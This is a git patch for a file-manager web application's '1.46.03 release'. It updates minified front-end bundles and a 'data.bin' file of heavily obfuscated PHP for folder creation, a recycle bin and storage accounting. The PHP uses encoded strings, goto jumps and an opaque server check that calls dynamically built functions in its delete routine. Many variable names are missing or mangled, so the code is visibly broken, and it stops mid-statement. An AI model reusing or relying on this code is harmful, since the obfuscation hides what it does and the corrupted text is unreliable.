From 934d0c68961d694d19b9b785d70c5ad9e7937066 Mon Sep 17 00:00:00 2001
From: warlee <824691958@qq.com>
Date: Wed, 8 Nov 2023 18:24:13 +0800
Subject: [PATCH] 1.46.03 release
---
app/sdks/archiveLib/bin/data.bin | 2 +-
static/app/dist/api.js | 4 ++--
static/app/dist/lib.js | 4 ++--
static/app/dist/main.js | 4 ++--
static/app/dist/sdk.js | 2 +-
static/app/dist/vendor.js | 2 +-
static/style/dist/main.css | 4 ++--
static/style/dist/sdk.css | 2 +-
static/style/lib/main.css | 2 +-
9 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin
index a3b7e76d..8842f3a8 100755
--- a/app/sdks/archiveLib/bin/data.bin
+++ b/app/sdks/archiveLib/bin/data.bin
@@ -1,2 +1,2 @@
$Р; } $_SERVER[$_SERVER[ªȸ][3]] = ("\x38\x31\x37\x34"."\65\64")+0;$_artw="29fe6vo0l5mbpyhz13jugd4akxqnisrcw78tbromdglkpuzh3sv28e49axwy5ci0jqtn67f1qm2whx";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $ђ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $ђ[4] . $ . $ђ[5]); } } } public static function __callStatic($, $˒ǀ) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $˒ǀ); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $˒ǀ); } else { show_json("{$}\50\x29\40\156\x6f\x74\x20\x65\x78\x69\163\x74\73", !1); } } } public static function addMethod($, $ڿ) { self::$_methodList[$] = $ڿ; } public static function addMethodStatic($哪, $˱) { self::$_methodListStatic[$哪] = $˱; } } goto D͔; f: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ِ) { $֍ =& $_SERVER[]; $ = Model($֍[504])->where(array($֍[1654] => $ِ))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ِ, $[$֍[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ =& $_SERVER[]; $ = LNG($[2124]); $۶ݷ = $this->mkdir($, $); $this->metaSet($۶ݷ, $[2125], $[88]); $this->metaSet($, $[2126], $۶ݷ); } public function userPathSafeAdd($) { $݇ =& $_SERVER[]; $܄ = Model($݇[504])->getInfoFull($); if (!$܄) { return !1; } if (_get($܄, $݇[526])) { return $܄[$݇[466]][$݇[2127]]; } $ʢㅵ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $݇[2128], $݇[433]); Model($݇[504])->metaSet($, $݇[2127], $ʢㅵ); $this->metaSet($ʢㅵ, $݇[2129], $); return $ʢㅵ; } public function groupRootAdd($Ϟճ) { $͙ =& $_SERVER[]; $太 = Model($͙[512])->where(array($͙[1940] => $Ϟճ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $Ϟճ, $太[$͙[32]]); } public function systemRootPathAdd($ዿ) { if ($ዿ != $_SERVER[][534]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ዿ); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][402]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][402]], !1); } private function _mkdirRoot($̺, $, $, $ı = '') { $џ =& $_SERVER[]; $ = defined($џ[2130]) ? USER_ID : 0; $ = array($џ[401] => 0, $џ[576] => $̺, $џ[577] => $, $џ[574] => 1, $џ[578] => $, $џ[579] => $, $џ[575] => $ı, $џ[580] => $џ[521], $џ[430] => 0, $џ[545] => 0, $џ[469] => 0, $џ[581] => $џ[12]); if ($Ί = $this->where($)->find()) { return $Ί[$џ[402]]; } $ = "\115\157\x64\x65\x6c\123\157\165\x72\143\145\56\155\x6b\x64\151\x72\122\157\x6f\164\x2e{$̺}\x2e{$}\x2e" . $; CacheLock::lock($); $[$џ[32]] = $; $â = $this->add($); $ = array($џ[582] => short_id($â)); $this->where(array($џ[417] => $â))->save($); CacheLock::unlock($); return $â; } private function targetSourceRoot($ijȚ, $Ă, $ = false) { $ =& $_SERVER[]; $ȗކ = array($[401] => 0, $[576] => $ijȚ, $[577] => $Ă); if ($) { $ = $this->where($ȗކ)->select(); return $ ? $ : array(); } $ҥ = $this->where($ȗކ)->find(); return $ҥ ? $ҥ : array(); } public function sourceRootGroup($) { $͚ =& $_SERVER[]; if (is_string($)) { $ = array($); } $̷ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $͚[189]); $癕ٽ = array($͚[369] => $̷, $͚[366] => array($͚[755] => count($))); $this->_listDataApply($癕ٽ[$͚[369]]); $this->_listMake($癕ٽ); return array_to_keyvalue($癕ٽ[$͚[82]], $͚[496]); } public function mkfile($ר, $١, $ = '', $Σ = REPEAT_RENAME) { $Ǡ =& $_SERVER[]; $ = Model($Ǡ[601])->addFileByContent($, $١); return $this->_createFileCall($ר, $١, $, $Σ, $Ǡ[1346]); } public function addFile($, $ኗ, $, $ᡥ = false, $ɩ = REPEAT_RENAME) { $ = Model($_SERVER[][601])->addFile($ኗ, $, $ᡥ); return $this->_createFileCall($, $, $, $ɩ); } public function addFileByFileID($ʃ, $, $, $ޣ = REPEAT_RENAME) { $훢 =& $_SERVER[]; $ = Model($훢[601])->find($); Model($훢[601])->linkAdd($); return $this->_createFileCall($ʃ, $, $, $ޣ); } public function addFileByRemote($п, $, $ː, $綟 = array(), $ֽ = REPEAT_RENAME) { $ۭ = Model($_SERVER[][601])->addFileByRemote($, $ː, $綟); return $this->_createFileCall($п, $ː, $ۭ, $ֽ); } private function _createFileCall($, $, $ҡ, $, $ = "\165\x70\154\157\x61\x64") { $۷ =& $_SERVER[]; $ࣶ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $ = $this->_createFile($, $, $ҡ, $, $ࣶ); if (!$ࣶ) { Model($۷[471])->remove($ҡ[$۷[468]]); } if ($ࣶ && $ && $ != $) { Model($۷[2097])->eventCreate($, $); } $this->lockWriteEnd($, $); return $; } public function mkdir($ç, $Ȱ, $߆ = REPEAT_SKIP) { $և =& $_SERVER[]; $this->setMasterDB(); $㔘 = $this->sourceInfo($ç); if (!$㔘) { return !1; } $this->lockWriteStart($ç, $Ȱ); if ($߆ !== !1) { $ߢ = $this->fileNameExist($ç, $Ȱ); if ($ߢ && $߆ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ç, $Ȱ); return $ߢ; } $Ȱ = $this->fileNameAuto($ç, $Ȱ, $߆); } $ͳ = array($և[574] => 1, $և[420] => $Ȱ, $և[575] => $և[12], $և[469] => 0, $և[545] => 0); $çƉ = $this->_addSource($ͳ, $㔘); Model($և[2097])->eventCreate($çƉ, $և[1347]); $this->lockWriteEnd($ç, $Ȱ); return $çƉ; } public function listSourceRoot($, $җ, $ǟ = "\x73\x6f\x75\162\143\145\111\104\54\164\141\x72\x67\145\x74\x49\104\54\163\151\x7a\145") { $ڜ =& $_SERVER[]; $͐ = $ڜ[378]; $ՃϠ = array(); $ = 1024 * 50; $ɣ = is_array($ɣ) ? $ɣ : array(); $հ = count($җ); $Β˻ = $this->tablePrefix . $ڜ[2131]; for ($ω̍ = 0; $ω̍ < $հ; $ω̍++) { $ = $җ[$ω̍]; $͐ .= "\123\x45\x4c\105\x43\x54\40\52\40\x46\x52\117\115\x20\50\x53\105\x4c\x45\103\124\40{$ǟ}\x20\106\122\117\x4d\x20\x60{$Β˻}\140\40\127\x48\105\x52\x45\40"; $͐ .= "\140\x70\141\x72\x65\156\x74\111\104\x60\x3d\60\x20\101\x4e\x44\x20\140\x74\x61\x72\x67\145\x74\111\104\x60\75{$}\40\x41\x4e\104\40\x60\x74\141\x72\147\145\x74\x54\171\x70\x65\140\x3d{$}\40\141\156\x64\x20\146\x69\x6c\x65\x54\x79\x70\x65\x3d\47\47\40\x6c\x69\x6d\x69\164\x20\61\x29\x20\141\163\40\x74\142\x5f{$ω̍}\40\125\x4e\111\117\116\x20\x41\x4c\114\40"; if ((strlen($͐) >= $ || $ω̍ == $հ - 1) && $͐) { $͐ = substr($͐, 0, -strlen($ڜ[1034])); $͘ӏ = $this->query($͐); $͐ = $ڜ[12]; $ՃϠ = array_merge($ՃϠ, $͘ӏ); } } return $ՃϠ; } private function _createFile($±۶, $ۋ, $, $ܴ, &$) { $ =& $_SERVER[]; $̝ = $this->sourceInfo($±۶); if (!$ || !$̝) { return !1; } if ($ܴ !== !1) { $ = $this->fileNameExist($±۶, $ۋ); } $ = !0; if ($ܴ && $) { if ($ܴ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ܴ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ˣ = $this->fileHistory($, $[$[468]], $[$[76]]); if (!$ˣ) { $ = !1; } else { $this->folderSizeReset($±۶); } return $; } else { $ۋ = $this->fileNameAuto($±۶, $ۋ, $ܴ, !1); } } } $ = array($[574] => 0, $[420] => $ۋ, $[575] => substr(get_path_ext($ۋ), 0, 10), $[469] => $[$[468]], $[545] => $[$[76]]); $Ү = $this->_addSource($, $̝); $this->folderSizeReset($±۶, intval($[$[76]])); return $Ү; } protected function fileHistory($, $ː, $Ě) { $쵎 =& $_SERVER[]; if ($[$쵎[468]] == $ː) { return !1; } $this->checkLock($[$쵎[402]], $ː); Model($쵎[2132])->addHistory($); $ԕ = array($쵎[579] => USER_ID, $쵎[424] => time(), $쵎[468] => $ː, $쵎[76] => $Ě); $this->where(array($쵎[417] => $[$쵎[402]]))->save($ԕ); $this->sourceCacheClear($[$쵎[402]]); return !0; } public function checkLock($¶, $) { $ =& $_SERVER[]; $ = $this->pathInfo($¶); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($[2133]); $ո = substr($[$[32]], 0, -1 - strlen($[$[174]])) . $[1204] . $ . $[10] . $[$[174]]; $ۆƥ = Model($[601])->find($); $this->_createFileCall($[$[432]], $ո, $ۆƥ, REPEAT_REPLACE, $[1346]); $ν = $[$[466]][$[538]]; $⎌ = $ν[$[532]] ? $ν[$[532]] : $ν[$[32]]; show_json(LNG($[2134]) . $[2135] . LNG($[2136]) . $[2137] . $⎌ . $[2138], !1); } public function fileIsLock($, $ = false) { $ш =& $_SERVER[]; if (!isset($[$ш[466]]) || !$[$ш[466]][$ш[535]]) { return !1; } if ($[$ш[466]][$ш[535]] != USER_ID) { return !0; } $溧 = $GLOBALS[$ш[6]][$ш[89]][$ш[536]]; if ($[$ш[466]][$ш[537]] <= time() - $溧) { $this->metaSet($[$ш[402]], $ш[535], null); $this->metaSet($[$ш[402]], $ш[537], null); } if ($) { $this->metaSet($[$ш[402]], $ш[537], time()); } return !1; } private function _addSource($, $Ц) { $ȹ =& $_SERVER[]; $Ӏ = array($ȹ[576] => $Ц[$ȹ[411]], $ȹ[577] => $Ц[$ȹ[496]], $ȹ[578] => USER_ID, $ȹ[579] => USER_ID, $ȹ[401] => $Ц[$ȹ[402]], $ȹ[580] => $Ц[$ȹ[511]] . $Ц[$ȹ[402]] . $ȹ[50], $ȹ[430] => 0, $ȹ[581] => $ȹ[12]); $ = array_merge($Ӏ, $); $this->updateModifyTime($[$ȹ[432]]); $̬ = $ȹ[2139] . $Ц[$ȹ[402]]; if (isset(self::$cacheChildList[$̬])) { unset(self::$cacheChildList[$̬]); } static $ = false; if (!$) { Hook::trigger($ȹ[564], $); $ = !0; } $𩏸 = $this->add($); $ = array($ȹ[582] => short_id($𩏸)); $this->where(array($ȹ[417] => $𩏸))->save($); $this->setNamePinyin($𩏸, $[$ȹ[32]]); return $𩏸; } public function remove($ŭ, $ҋ = true) { $ސ =& $_SERVER[]; $Ȋ = $this->sourceInfo($ŭ); $ = intval($Ȋ[$ސ[411]]) === self::TYPE_SYSTEM; $܋ڛ = Model($ސ[435])->get($ސ[2140]) == $ސ[88]; if ($ || $ҋ || !$܋ڛ) { return $this->removeNow($ŭ, $ҋ); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $Ȋ[$ސ[411]] == self::TYPE_USER ? $ސ[590] : $ސ[505]; if ($ == $ސ[590]) { $ = Model($ސ[504])->getInfo($Ȋ[$ސ[496]]); $ = !empty($[$ސ[532]]) ? $[$ސ[532]] : $[$ސ[32]]; $ = $ސ[260] . $ . $ސ[2141] . $Ȋ[$ސ[496]]; } else { $ = Model($ސ[512])->getInfo($Ȋ[$ސ[496]]); $ = _get($, $ސ[32]); $ = $ސ[162] . $ . $ސ[2142] . $Ȋ[$ސ[496]]; } $υ = $ސ[2143] . md5($); CacheLock::lock($υ); $߲ = $this->fileNameExist($, $); if (!$߲) { $߲ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($߲, $ސ[2144], $); $this->metaSet($߲, $ސ[2145], $Ȋ[$ސ[496]]); if ($Ȋ[$ސ[432]] != 0) { $this->metaSet($߲, $ސ[2146], _get($, $ސ[2147])); } } CacheLock::unlock($υ); $this->metaSet($ŭ, $ސ[2148], $Ȋ[$ސ[432]]); $this->where(array($ސ[402] => $ŭ))->save(array($ސ[424] => time())); $this->recycleClear($Ȋ); $ـؐ = $this->move($ŭ, $߲, REPEAT_RENAME_FOLDER); $this->folderSizeReset($Ȋ[$ސ[432]]); return $ـؐ; } private function recycleClear($) { $ =& $_SERVER[]; $ל = $this->childrenAll($); $ = array($[417] => array($[418], $ל[$[2149]])); Model($[2150])->where($)->delete(); } public function removeNow($, $ծ = true) { $ =& $_SERVER[]; if ($_SERVER[$[738]] != $_SERVER[$[1590]]) { $ = $[873]; $ѓ = $[739]; $չ = $_SERVER[$[740]] . $[741]; $ = $ѓ($չ); $Ƞ = explode($[231], $); if (count($Ƞ) < $[614]) { $ = $[742]; $(); } $ = $[874]; $($_SERVER[$[875]]); $($_SERVER[$[740]] . $[1591]); $ɍמ = 1; while ($ɍמ > 1) { $ɍמ = $ɍמ + 4; $ = rawurlencode($ɍמ . $[378]); } } $߄ = $this->sourceInfo($); $ڰ = $this->pathInfoMore($); if (!$߄) { return !0; } if ($߄[$[432]] == 0) { if (!_get($GLOBALS, $[494])) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2151], $ڰ, $ծ); if ($ծ) { Model($[2150])->moveToRecycle($); } else { $ڛ = $this->childrenAll($߄); Model($[561])->eventRemove($); $this->removeRelevance($ڛ[$[2149]], $ڛ[$[1478]]); } $this->folderSizeReset($߄[$[432]]); $ή = array($߄[$[432]]); if ($߄[$[410]] == $[88]) { $ή[] = $߄[$[402]]; } $this->updateModifyTime($ή); $this->lockMoveEnd($); Hook::trigger($[1705], $ڰ, $ծ); return !0; } public function childrenAll($ȋ) { $ܽʵ =& $_SERVER[]; $Í = $ȋ[$ܽʵ[402]]; if ($ȋ[$ܽʵ[410]] == $ܽʵ[88]) { $ѽ = array($ܽʵ[580] => array($ܽʵ[540], $ȋ[$ܽʵ[511]] . $Í . $ܽʵ[541])); $ = array($ܽʵ[580] => $ѽ[$ܽʵ[511]]); $ꑓ = $this->field($ܽʵ[2152])->where($)->select(); $ = !1; $ = array($Í); if ($ꑓ) { $ = array_to_keyvalue($ꑓ, $ܽʵ[12], $ܽʵ[468]); $ = array_remove_value($, $ܽʵ[198]); $ = array_to_keyvalue($ꑓ, $ܽʵ[12], $ܽʵ[402]); $[] = $Í; } } else { $ = array($ȋ[$ܽʵ[468]]); $ = array($Í); } return array($ܽʵ[2149] => $, $ܽʵ[1478] => $); } public function removeArray($춠) { if (!$춠) { return !0; } } public function removeRelevance($, $) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ = array($[417] => array($[418], $)); Model($[2150])->where($)->delete(); Model($[462])->where($)->delete(); Model($[1999])->where($)->delete(); Model($[561])->where($)->delete(); Model($[1832])->removeBySource($); Model($[2132])->removeBySource($); $this->where($)->delete(); Model($[471])->remove($); for ($ю = 0; $ю < count($); $ю++) { $this->sourceCacheClear($[$ю]); } } public function rename($, $ĉ) { $Źլ =& $_SERVER[]; $ϻՍ = $this->sourceInfo($); if (!$ϻՍ) { return !1; } $ß = $this->fileNameExist($ϻՍ[$Źլ[432]], $ĉ); if ($ß && $ß != $) { return !1; } $῍ = array($Źլ[420] => $ĉ, $Źլ[579] => USER_ID); if ($ϻՍ[$Źլ[410]] != $Źլ[88]) { $῍[$Źլ[412]] = substr(get_path_ext($ĉ), 0, 10); } Model($Źլ[561])->eventRename($, $ϻՍ[$Źլ[32]], $ĉ); $this->sourceCacheClear($); $this->setNamePinyin($, $῍[$Źլ[32]], !1); $this->updateModifyTime($ϻՍ[$Źլ[432]]); $郆 = $this->where(array($Źլ[417] => $))->data($῍)->save(); $ = $Źլ[2139] . $ϻՍ[$Źլ[432]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $郆; } public function setNamePinyin($, $־, $Ŝ = true) { $ =& $_SERVER[]; $ = Input::check($־, $[583]); $ = array($[444] => KodSort::makeStr($־)); if ($) { $[$[465]] = str_replace($[53], $[12], Pinyin::get($־)); $[$[464]] = Pinyin::get($־, $[584]); } if (!$Ŝ && !$) { $[$[465]] = null; $[$[464]] = null; } $this->metaSet($, $); } public function getContent($Ϸ) { $ =& $_SERVER[]; $ = $this->fileInfoGet($Ϸ); if (!$) { return !1; } if ($[$[76]] == 0) { return $[12]; } $ʮ = $[2153] . $[$[176]]; if ($[$[76]] <= 1024 * 10) { $̴̴ = Cache::get($ʮ); if (!$̴̴) { $̴̴ = IO::getContent($[$[84]]); Cache::set($ʮ, $̴̴); } return $̴̴; } if (!$[$[84]]) { return $[12]; } return IO::getContent($[$[84]]); } public function setDesc($Ǒ, $) { $ =& $_SERVER[]; Model($[561])->eventAddDesc($Ǒ, $); return $this->metaSet($Ǒ, $[453], $); } public function setContent($㛙, $ڻ = '') { $ڣĚ =& $_SERVER[]; $ = $this->sourceInfo($㛙); $͈҆ = $this->fileInfoGet($㛙); if (!$͈҆ || !$) { return !1; } $鬛 = Model($ڣĚ[471])->addFileByContent($ڻ, $[$ڣĚ[32]]); $ƶś = $this->fileHistory($, $鬛[$ڣĚ[468]], $鬛[$ڣĚ[76]]); if (!$ƶś) { return Model($ڣĚ[471])->remove($鬛[$ڣĚ[468]]); } $this->folderSizeReset($[$ڣĚ[432]]); return !0; } public function fileSubstr($, $Ҷ, $яӂ) { $Ή = $this->fileInfoGet($); if (!$Ή) { return !1; } return IO::fileSubstr($Ή[$_SERVER[][84]], $Ҷ, $яӂ); } public function fileInfoGet($) { $ԇ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$ԇ[410]]) { return !1; } $힌 = $ԇ[474] . $[$ԇ[468]]; $Ċ = _get(self::$cacheFileInfo, $힌); if ($Ċ) { return $Ċ; } $ה = Model($ԇ[471])->fileInfo($[$ԇ[468]]); if ($ה) { $ה[$ԇ[32]] = $[$ԇ[32]]; } self::$cacheFileInfo[$힌] = $ה; return $ה; } private function folderChildrenNumber($ս) { $ =& $_SERVER[]; $ = $this->sourceInfo($ս); $ = array($[580] => array($[540], $[$[511]] . $ս . $[541]), $[577] => $[$[496]], $[430] => intval($[$[431]]), $[574] => 1); $ɬ = $this->where($)->count(); $ÔŪ = $this->where($)->where(array($[574] => 0))->count(); return array($[80] => $ÔŪ, $[81] => $ɬ); } public function pathInfo($뷁, $ፏ▙ = false) { $ =& $_SERVER[]; $ፏ▙ = !1; $뷁 = intval($뷁); $ = $[461] . intval($ፏ▙) . $[386] . $뷁; $ۋ = _get(self::$cachePathInfo, $); if ($ۋ) { return $ۋ; } $ = $this->sourceInfo($뷁); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $ፏ▙); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ɬ = _get(self::$cachePathInfoMore, $); if ($ɬ) { return $ɬ; } $ȫ = $this->pathInfo($); if (!$ȫ) { return !1; } if ($ȫ[$[410]] == $[88]) { $ȫ[$[79]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $ȫ; return $ȫ; } public function sourceInfo($딏) { $ =& $_SERVER[]; if (!$딏) { return array(); } $딏 = intval($딏); $ӑ = $[460] . $딏; $ = _get(self::$cacheSourceInfo, $ӑ); if ($) { return $; } $ϙ = $this->where(array($[402] => $딏))->find(); self::$cacheSourceInfo[$ӑ] = $ϙ; return self::$cacheSourceInfo[$ӑ]; } public function sourceCacheClear($В = false) { self::cacheClear($В); } public static function cacheClear($ϼ = false) { $ =& $_SERVER[]; if ($ϼ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[460] . $ϼ]); unset(self::$cachePathInfoMore[$ϼ]); unset(self::$cachePathInfo[$[2154] . $ϼ]); unset(self::$cachePathInfo[$[2155] . $ϼ]); } public function metaSet($֔, $Ⱥ = null, $˒ = null) { $ʧ = parent::metaSet($֔, $Ⱥ, $˒); if ($ʧ) { $this->sourceCacheClear($֔); } return $ʧ; } public function pathInfoByPath($̋, $냉) { $ =& $_SERVER[]; $ = !$냉 ? array() : explode($[8], trim($냉, $[8])); $ = $̋; foreach ($ as $ϰ) { $ = array($[432] => $, $[32] => $ϰ); $į = $this->where($)->select(); if (!$į) { return !1; } $į = array_sort_by($į, $[431]); $ = $į[0][$[402]]; } return $this->pathInfo($, !0); } protected function updateModifyTime($) { $ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $) { $[$] = intval($); $this->sourceCacheClear($); } $ؼ = array($[402] => array($[7], $)); $ = array($[579] => USER_ID, $[424] => time()); $this->where($ؼ)->save($); } public function folderSizeReset($̀, $ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $Ņ = $this->sourceInfo($̀); $ = $[2156] . $̀; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($̀); $Ņ = $this->sourceInfo($̀); $ = array($[401] => $̀, $[430] => 0); $Ι = $this->where($)->sum($[76]); $ = intval($Ι) - intval($Ņ[$[76]]); } if ($ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($Ņ[$[511]]); if (!$) { $ = array(); } $[] = $Ņ[$[402]]; $ = array($[402] => array($[418], $)); if ($ < 0) { $[$[76]] = array($[1011], abs($)); } $this->where($)->setAdd($[76], $); CacheLock::unlock($); $굅 = $[2157] . $Ņ[$[411]] . $[4] . $Ņ[$[496]]; $Ό = array($Ņ[$[411]], $Ņ[$[496]]); TaskRun::timeLimitCall($굅, $[2158], $Ό, 1.5); } public function folderSizeResetChildren($Ɛ) { $ᶢ =& $_SERVER[]; $this->sourceCacheClear($Ɛ); $ = $this->sourceInfo($Ɛ); $ВԄ = array($ᶢ[574] => 1, $ᶢ[577] => $[$ᶢ[496]], $ᶢ[580] => array($ᶢ[540], $[$ᶢ[511]] . $Ɛ . $ᶢ[541])); $ỬΪ = $ᶢ[2159]; $ = $this->field($ỬΪ)->where($ВԄ)->select(); $ВԄ[$ᶢ[410]] = 0; $ۓ = $this->field($ỬΪ)->where($ВԄ)->select(); if (!$ۓ) { return; } $[] = $; $ = array_to_keyvalue($, $ᶢ[402]); foreach ($ as $춼 => $է) { $[$춼][$ᶢ[2160]] = $[$춼][$ᶢ[76]]; $[$춼][$ᶢ[76]] = 0; } foreach ($ۓ as $է) { $ = $է[$ᶢ[432]] . $ᶢ[12]; if (!isset($[$])) { continue; } if ($է[$ᶢ[431]] == $[$][$ᶢ[431]]) { $[$][$ᶢ[76]] += $է[$ᶢ[76]]; } } foreach ($ as $է) { $ = $this->parentLevelArray($է[$ᶢ[511]]); foreach ($ as $) { $ = $ . $ᶢ[12]; if (!isset($[$])) { continue; } if ($է[$ᶢ[431]] == $[$][$ᶢ[431]]) { $[$][$ᶢ[76]] += $է[$ᶢ[76]]; } } } $ = array(); foreach ($ as $է) { if ($է[$ᶢ[76]] == $է[$ᶢ[2160]]) { continue; } $[] = array($ᶢ[402], $է[$ᶢ[402]], $ᶢ[76], $է[$ᶢ[76]]); } $this->saveAll($); } public function userSpaceReset($Ƕ = false) { $ٚѺ =& $_SERVER[]; $ﬧ = $this->where(array($ٚѺ[411] => self::TYPE_USER, $ٚѺ[496] => $Ƕ, $ٚѺ[410] => 0))->sum($ٚѺ[76]); $ﬧ = !$ﬧ || $ﬧ <= 0 ? 0 : $ﬧ; Model($ٚѺ[504])->userEdit($Ƕ, array($ٚѺ[1841] => $ﬧ)); } public function targetSpaceUpdate($, $) { $ʈ =& $_SERVER[]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ʟզ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($ʈ[504])->userEdit($, array($ʈ[1841] => $ʟզ)); } else { if ($ == self::TYPE_GROUP) { Model($ʈ[512])->groupEdit($, array($ʈ[1841] => $ʟզ)); } } } public function targetSpaceSize($, $) { $ =& $_SERVER[]; $ن = 0; $ = $this->targetSourceRoot($, $, !0); foreach ($ as $) { if (!$) { continue; } $ن += floatval($[$[76]]); $ = array($[580] => array($[540], $[521] . $[$[402]] . $[541])); $ލ = Model($[429])->field($[417])->where($)->select(); $ލ = array_to_keyvalue($ލ, $[12], $[402]); $ލ = array_unique(array_filter($ލ)); if ($ލ) { $ = array($[417] => array($[418], $ލ)); $ن += floatval($this->where($)->sum($[76])); } } $ن = !$ن || $ن <= 0 ? 0 : $ن; return $ن; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($ć) { return $this->fileTypeProfile($ć, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ԩ, $уڌ) { $ȭ =& $_SERVER[]; $Ǖ = $ȭ[2161] . $Ԩ . $ȭ[11] . $уڌ; $Ȳ = Cache::get($Ǖ); if ($Ȳ) { return $Ȳ; } $ƶ = array($ȭ[574] => 0); if ($Ԩ != !1) { $ƶ[$ȭ[496]] = $Ԩ; $ƶ[$ȭ[411]] = $уڌ; } $ަ = array(); $ަ[$ȭ[2162]] = array($ȭ[2163] => LNG($ȭ[2162]), $ȭ[2164] => $this->where($ƶ)->count(), $ȭ[545] => $this->where($ƶ)->sum($ȭ[76])); $ = KodIO::fileTypeList(); foreach ($ as $ => $ߋ) { $ƶ[$ȭ[412]] = $this->fileTypeWhere($); $ަ[$] = array($ȭ[2163] => $ߋ[$ȭ[32]], $ȭ[2164] => $this->where($ƶ)->count(), $ȭ[545] => $this->where($ƶ)->sum($ȭ[76])); } Cache::set($Ǖ, $ަ, 1200); return $ަ; } public function fileNameExist($, $ܱ) { $ =& $_SERVER[]; $ٶ = $this->where(array($[432] => $, $[32] => $ܱ, $[431] => 0))->find(); return is_array($ٶ) ? $ٶ[$[402]] : !1; } public function childList($䮘) { $ =& $_SERVER[]; $ = $[2139] . $䮘; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ɘ = array($[432] => intval($䮘), $[431] => 0); $÷ = $this->where($ɘ)->select(); $÷ = $÷ ? $÷ : array(); self::$cacheChildList[$] = $÷; foreach ($÷ as $) { $ = $[460] . $[$[402]]; self::$cacheSourceInfo[$] = $; } return $÷; } public function fileNameAuto($, $, $Ϯ = REPEAT_RENAME, $盼 = false) { $ԫ =& $_SERVER[]; $光 = get_path_ext($); $ = $光 ? basename($, $ԫ[10] . $光) . $ԫ[2165] . $光 : $ . $ԫ[384]; $ = array($ԫ[432] => $, $ԫ[431] => 0, $ԫ[32] => array($ԫ[383], $)); $ = $this->field($ԫ[32])->where($)->select(); $аڢ = array_to_keyvalue($, $ԫ[12], $ԫ[32]); return $this->fileNameAutoGet($аڢ, $, $Ϯ, $盼); } public function fileNameAutoGet($ɫ, $, $ܣ, $) { $쉱 =& $_SERVER[]; if ($ܣ == REPEAT_REPLACE || !$ɫ || !in_array_not_case($, $ɫ) || $ && $ܣ != REPEAT_RENAME_FOLDER) { return $; } if ($ܣ == REPEAT_SKIP) { return !1; } $ւ = $쉱[10] . get_path_ext($); $ւ = $ւ == $쉱[10] || $ ? $쉱[12] : $ւ; for ($ٲ = 1; $ٲ <= count($ɫ) + 1; $ٲ++) { $ʮ = substr($, 0, strlen($) - strlen($ւ)); $憎հ = $ʮ . "\50{$ٲ}\51{$ւ}"; if (!in_array_not_case($憎հ, $ɫ)) { return $憎հ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\x75\162\143\x65\137\x72\x65\x63\171\143\154\145"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\x54\151\155\x65", "\x74\151\155\x65", "\151\x6e\163\x65\x72\164", "\x66\165\x6e\143\x74\x69\x6f\x6e")); public function listData($ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->where(array($[1654] => $))->select(); return array_to_keyvalue($, $[12], $[402]); } public function moveToRecycle($Ͳ) { $ʨ =& $_SERVER[]; $ρԵ = Model($ʨ[1335]); $ = $ρԵ->sourceInfo($Ͳ); if (!$ || $[$ʨ[431]] == $ʨ[88]) { return; } $õ؍ = array($ʨ[417] => $Ͳ, $ʨ[1654] => USER_ID, $ʨ[576] => $[$ʨ[411]], $ʨ[577] 